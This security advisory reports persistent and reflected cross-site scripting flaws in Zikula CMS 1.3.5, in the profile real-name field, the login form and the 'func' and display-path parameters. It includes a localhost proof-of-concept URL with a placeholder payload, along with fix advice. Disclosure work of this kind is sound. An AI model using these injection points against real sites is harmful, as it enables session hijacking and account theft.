Discovery Status:
=================
Published


Affected Product(s):
====================
PostNuke e.V.
Product: Zikula Content Management System - Web Application 1.3.5


Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Technical Details & Description:
================================
1.1
A persistent input validation web vulnerability is detected in the Zikula Content Management System v1.3.5 web-application.
The bug allows an attacker (remote) to implement/inject malicious own malicious persistent script codes (application side).

The persistent web vulnerability is located in the `User Information (Page)` & `Profile Info (Page)` module. Remote attackers
are able to change the regular real name in the profile info page to own malicious script codes. The script code execute occurs
in the user profile info page of the public cms application.

Exploitation of the persistent web vulnerability requires low user interaction and a low privileged web-application user account
Successful exploitation of the vulnerability can lead to persistent session hijacking (customers), account steal via persistent
web attacks, persistent phishing or persistent module context manipulation.

Request Method(s):
[+] [POST]

Vulnerable Module(s):
[+] User Information (Page)

Vulnerable Parameter(s):
[+] real name (z-formnote)

Affected Module(s):
[+] Profile Info


1.2
A client-side POST injection web vulnerability is detected in the official Zikula Content Management System v1.3.5 web-application.
The non-persistent cross site web vulnerability allows an attacker to manipulate client side web application to browser GET method requests.

The client-side cross site web vulnerability is located in the `login` module of the web-application. Remote attackers can inject via POST
request method own malicious script codes as authentication_info (users_login) value.

Exploitation of the vulnerability requires no privileged application user account but low or medium user interaction. Successful exploitation
of the vulnerability results in session hijacking, client-side phishing, client-side external redirects or malware loads and client-side
manipulation of the vulnerable module context.

Request Method(s):
[+] [POST]

Vulnerable Module(s):
[+] Login

Vulnerable Parameter(s):
[+] users_login_login_id > authentication_info > username & password text



1.3
A client-side cross site scripting web vulnerability is detected in the Zikula Content Management System v1.3.5 web-application.
The non-persistent cross site scripting web vulnerability allows an attacker to manipulate client side web application GET method requests.

The first client-side cross site vulnerability is located in the `func` value of the index.php file. Remote attackers are able to inject own
malicious script codes via vulnerable `func` parameter in client-side GET method requests.

The second client-side cross site vulnerability is located in the display name to path value GET method request. Remote attackers are able
to inject own malicious script codes as regular path. The script code execute occurs in the news display path. Attackers can change the
regular path with script code to execute the client-side malicious context.

Exploitation of the vulnerability requires no privileged application user account but low or medium user interaction. Successful exploitation
of the vulnerability results in session hijacking, client-side phishing, client-side external redirects or malware loads and client-side
manipulation of the vulnerable module context.

Request Method(s):
[+] [GET]

Vulnerable Parameter(s):
[+] display path
[+] func


Proof of Concept (PoC):
=======================

The client-side cross site scripting web vulnerabilities can be exploited by remote attackers without privileged application user account and
low or medium user interaction. For demonstration or reproduce ...

http://zikula.localhost:8080/index.php?module=benutzer&type=admin&func=-%27+[CLIENT-SIDE CROSS SITE SCRIPTING VULNERABILITY!]&lang=en&userid=3


Solution - Fix & Patch:
=======================
1.1
The first persistent input validation web vulnerability can be patched by a secure encode and parse of the real name profile input fields.
Also parse the vulnerable user profile info output page to ensure the issue is fixed.

1.2
Parse the username input field in the login module. Encode also the vulnerable users_login_id and authentication_info[login] values.

1.3
Parse and encode the vulnerable func value parameter in the index.php.
Encode and filter the path value in the display section to prevent client-side attacks.


Security Risk:
==============
1.1
The security risk of the persistent input validation web vulnerability is estimated as high(+).

1.2
The security risk of the non-persistent post inject web vulnerability is estimated as medium(+).

1.3
The security risk of the client-side cross site scripting web vulnerabilities are estimated as low(+)|(-)medium.
